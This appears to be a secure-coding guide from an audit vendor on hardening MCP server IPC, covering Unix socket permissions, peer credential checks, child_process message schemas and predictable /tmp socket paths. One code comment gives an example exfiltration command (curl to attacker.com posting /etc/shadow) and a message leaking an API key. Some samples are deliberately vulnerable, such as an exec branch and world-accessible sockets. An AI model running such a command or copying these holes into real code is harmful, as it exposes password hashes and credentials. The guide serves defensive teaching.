IPC Security · Unix Sockets · Node.js child_process

MCP server IPC security — Unix domain sockets, named pipes, and Node.js child_process channels

MCP servers that spawn child processes or communicate with co-located services via Unix domain sockets or Node.js IPC channels face a distinct set of security issues from network-facing APIs. The socket file itself is a filesystem object with POSIX permissions — created with the wrong umask it is world-readable. Messages arriving over a child's IPC channel are serializable JavaScript objects that a compromised child process can craft to contain arbitrary content. Predictable socket paths in /tmp are guessable and replaceable before the server creates them. Each of these properties requires explicit, deliberate hardening that most MCP server implementations skip.

Unix socket file permissions and default umask

When Node.js creates a Unix domain socket server, the socket file is created in the filesystem with permissions determined by the process's umask. A typical server process umask of 0022 creates the socket with mode 0755 — world-executable and world-accessible. Mode 0777 (no umask applied) makes the socket readable and writable by every user on the system. Any local user can connect and send arbitrary requests to the MCP server's socket:

import net from 'net';
import fs from 'fs';

const SOCKET_PATH = '/tmp/mcp-server.sock';

// VULNERABLE: socket created with default umask permissions
// Resulting file mode is 0755 or worse — any local user can connect
const server = net.createServer((socket) => {
  socket.on('data', (data) => handleRequest(data));
});
server.listen(SOCKET_PATH);

// SAFE: set restrictive permissions immediately after socket creation
// Remove any existing stale socket first
try { fs.unlinkSync(SOCKET_PATH); } catch {}

const safeServer = net.createServer((socket) => {
  // Still need peer credential validation here (see below)
  socket.on('data', (data) => handleRequest(data));
});

safeServer.listen(SOCKET_PATH, () => {
  // chmod to 0600 immediately after listen() creates the file
  // Owner: read+write. Group: none. Others: none.
  fs.chmodSync(SOCKET_PATH, 0o600);
  console.log('MCP IPC socket listening at', SOCKET_PATH);
});

// Even better: set umask before creating the server so the file
// is created with restrictive permissions from the start
const oldUmask = process.umask(0o177);  // creates files with max 0600
const strictServer = net.createServer(handler);
strictServer.listen(SOCKET_PATH, () => {
  process.umask(oldUmask);  // restore umask after socket is created
});

Peer credential validation with SO_PEERCRED

Even with mode 0600, the socket file is owned by the MCP server process's UID. Any process running as that same UID — or as root — can connect. To enforce that only specific processes are permitted to connect, validate the connecting process's credentials using the SO_PEERCRED socket option (Linux) or LOCAL_PEERCRED (macOS). This retrieves the PID, UID, and GID of the peer process from the kernel — the peer cannot forge these values:

import net from 'net';
import os from 'os';

// SO_PEERCRED via binding to @grpc/grpc-js or native addons is the standard approach.
// For pure Node.js, use the 'unix-dgram' package or a native binding.
// Here we show the pattern with a native binding that exposes getsockopt:

import { getPeerCredentials } from './native/peercred.node'; // native addon

const ALLOWED_UID = process.getuid();  // only our own UID can connect

const server = net.createServer((socket) => {
  // Get the peer's credentials from the kernel immediately on connection
  const fd = socket._handle?.fd;
  if (fd == null) {
    socket.destroy();
    return;
  }

  const { uid, gid, pid } = getPeerCredentials(fd);

  // Enforce: only processes owned by the same UID as the MCP server
  if (uid !== ALLOWED_UID) {
    console.warn(`Rejected connection from uid=${uid} pid=${pid} (expected uid=${ALLOWED_UID})`);
    socket.destroy();
    return;
  }

  // Optionally: also validate that pid matches a known child process PID
  if (!knownChildPids.has(pid)) {
    console.warn(`Rejected connection from unknown pid=${pid}`);
    socket.destroy();
    return;
  }

  socket.on('data', (data) => handleRequest(data, { uid, pid }));
});

Abstract namespace sockets: On Linux, binding a socket to a path starting with \0 (null byte) creates an abstract namespace socket that exists only in kernel memory — no filesystem file is created, so there is no file to chmod, no stale socket to clean up, and no filesystem permission to misconfigure. Use net.createServer().listen('\0mcp-server-' + process.pid) for MCP server sockets that only need to be reached by co-located child processes.

Node.js child_process IPC: schema validation on parent message handler

Node.js child_process.fork() creates a bidirectional IPC channel between the parent and child process. Messages sent with child.send() and received via child.on('message') are arbitrary serializable JavaScript objects. If the parent process trusts message.type to dispatch to privileged handlers, a compromised child process can send crafted IPC messages to escalate its privileges or cause the parent to perform operations outside the child's intended scope:

import { fork } from 'child_process';
import { z } from 'zod';

// VULNERABLE: parent trusts message.type from child without validation
const worker = fork('./worker.js');
worker.on('message', (message) => {
  // A compromised worker can send:
  // { type: 'exec', command: 'curl http://attacker.com -d @/etc/shadow' }
  // { type: 'credential', key: 'OPENAI_API_KEY', value: process.env.OPENAI_API_KEY }
  if (message.type === 'result') {
    storeResult(message.payload);
  } else if (message.type === 'exec') {
    // This branch should not exist, but a compromised child can target it
    exec(message.command);
  }
});

// SAFE: define an explicit schema for every message type the parent accepts from children
const WorkerResultSchema = z.discriminatedUnion('type', [
  z.object({
    type: z.literal('result'),
    taskId: z.string().uuid(),
    output: z.string().max(1_000_000),
    durationMs: z.number().int().nonneg(),
  }),
  z.object({
    type: z.literal('error'),
    taskId: z.string().uuid(),
    code: z.enum(['TIMEOUT', 'INVALID_INPUT', 'PROCESSING_FAILED']),
    message: z.string().max(500),
  }),
  // No 'exec', 'credential', 'shutdown', or other privileged types accepted
]);

const safeWorker = fork('./worker.js');
safeWorker.on('message', (raw) => {
  let message;
  try {
    message = WorkerResultSchema.parse(raw);
  } catch (err) {
    // Log and terminate the worker — unexpected message shapes indicate compromise
    console.error('Worker sent invalid IPC message shape — terminating', { raw, err });
    safeWorker.kill('SIGTERM');
    return;
  }

  if (message.type === 'result') {
    storeResult(message.taskId, message.output);
  } else if (message.type === 'error') {
    handleWorkerError(message.taskId, message.code);
  }
});

Predictable socket paths and TOCTOU on socket creation

The path /tmp/mcp-server.sock is guessable. An attacker who can create files in /tmp can pre-create a socket at that path before the MCP server starts. The MCP server's server.listen() will fail if the path already exists — or if the previous run left a stale socket file, the server may incorrectly attempt to connect to the stale file rather than creating a new one. The safe patterns are: use a process-private temporary directory, or use abstract namespace sockets:

import { mkdtempSync, unlinkSync, rmdirSync } from 'fs';
import { join } from 'path';
import os from 'os';
import net from 'net';

// VULNERABLE: predictable path in /tmp — guessable, pre-creatable
const BAD_PATH = '/tmp/mcp-server.sock';

// SAFE option 1: process-private tmpdir created with mkdtemp
// mkdtemp creates a directory with a random suffix and mode 0700 (private)
const socketDir = mkdtempSync(join(os.tmpdir(), 'mcp-'));
const SOCKET_PATH = join(socketDir, 'server.sock');

// socketDir is something like /tmp/mcp-a3fK9q/ and is only accessible to this UID
// No other process can predict or pre-create the path

const server = net.createServer(handler);
server.listen(SOCKET_PATH, () => {
  fs.chmodSync(SOCKET_PATH, 0o600);
  console.log('Listening on private socket:', SOCKET_PATH);
});

// Clean up on exit
process.on('exit', () => {
  try { unlinkSync(SOCKET_PATH); } catch {}
  try { rmdirSync(socketDir); } catch {}
});

// SAFE option 2: abstract namespace socket (Linux only)
// \0 prefix = abstract namespace, no filesystem file, no permissions issue
const ABSTRACT_PATH = '\0mcp-server-' + process.pid;
const abstractServer = net.createServer(handler);
abstractServer.listen(ABSTRACT_PATH);
// No cleanup needed on exit — kernel removes it automatically when process exits

TOCTOU on socket cleanup: the pattern try { fs.unlinkSync(path); } catch {} ; server.listen(path) has a race between the unlink and the listen. If an attacker creates a socket at the path in that gap, the listen() call will use their socket. Use a process-private tmpdir created with mkdtemp to eliminate the guessable path entirely rather than racing to remove it.

SkillAudit findings

CRITICAL World-readable Unix socket (mode 0777 or 0666). The MCP server's Unix domain socket was created without restricting permissions. Any local user or process on the host can connect and send arbitrary requests. Set permissions to 0600 immediately after server.listen() returns, or use abstract namespace sockets to avoid filesystem-based permissions entirely.
CRITICAL No schema validation on IPC messages from child processes. The parent process dispatches on message.type from child IPC messages without schema validation. A compromised or malicious child process can send crafted IPC messages with unexpected type values to trigger privileged parent-side operations. Add a Zod discriminated union schema and terminate workers that send unrecognized message shapes.
HIGH Predictable socket path in /tmp. The Unix domain socket is created at a guessable path like /tmp/mcp-server.sock or /tmp/mcp-${serviceName}.sock. An attacker can pre-create a socket at this path to intercept connections intended for the MCP server, or create a stale socket file that causes the server to fail to start. Use mkdtempSync for a process-private directory or an abstract namespace socket.
HIGH No peer credential validation on Unix socket connections. The MCP server accepts connections on its Unix socket without verifying the connecting process's UID via SO_PEERCRED. Any process running as the socket owner's UID can connect. Validate peer UID on each new connection and reject connections from UIDs that do not match the expected set of authorized client processes.
MEDIUM IPC channel used to pass credentials between parent and child. The MCP server sends API keys, tokens, or database passwords over child.send(). If the child process is compromised or its stderr/stdout is captured, the credential is exposed. Prefer environment variables set at fork time or credential injection via file descriptor passing (detachable IPC) rather than serialized messages.

Paste a GitHub URL at skillaudit.dev to get a graded report card covering IPC security alongside all other MCP security dimensions.